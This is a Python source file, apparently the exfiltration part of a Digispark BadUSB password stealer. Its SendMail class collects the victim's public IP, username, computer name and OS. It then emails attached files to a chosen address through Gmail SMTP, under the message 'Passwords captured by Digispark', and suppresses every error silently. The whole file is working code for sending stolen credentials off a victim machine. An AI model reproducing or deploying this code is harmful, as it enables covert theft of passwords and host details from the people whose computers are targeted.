import os import platform import smtplib import subprocess from email.mime.application import MIMEApplication from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText class SendMail: def __init__(self, _source_mail, _source_pass, _dest_mail, files): self.source_mail = _source_mail self.source_pass = _source_pass self.dest_mail = _dest_mail self.files = files self.send_message() def get_ip(self): try: data = subprocess.check_output('nslookup myip.opendns.com resolver1.opendns.com', stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, timeout=0.7) except: return 'Not Found' try: ip = data.decode('cp866', errors='ignore').strip().split(':')[-1][2:] except: try: ip = data.decode(errors='ignore').strip().split(':')[-1][2:] except: return data return ip def get_text_mail(self): ip = self.get_ip() OS = f'{platform.platform()} - {str(platform.architecture()[0])}' return f"Passwords captured by Digispark.\n" \ f"IP: {ip}\n" \ f"User: {os.getlogin()}\n" \ f"Computer: {os.getenv('COMPUTERNAME')}\n" \ f"OS: {OS}\n\n\n" \ f"------------\n" \ f"Developed by @kovinevmv\n" def send_message(self): subject = 'Digispark - User: ' + os.getlogin() text = self.get_text_mail() msg = MIMEMultipart() msg['From'] = self.source_mail msg['To'] = ", ".join(self.dest_mail) msg['Subject'] = subject msg.attach(MIMEText(text)) for f in self.files: attachment = MIMEApplication(open(f, "rb").read(), _subtype="txt") attachment.add_header('Content-Disposition', 'attachment', filename=f) msg.attach(attachment) try: mailServer = smtplib.SMTP("smtp.gmail.com", 587) mailServer.ehlo() mailServer.starttls() mailServer.login(self.source_mail, self.source_pass) mailServer.sendmail(self.source_mail, self.dest_mail, msg.as_string()) mailServer.close() except: pass if __name__ == '__main__': pass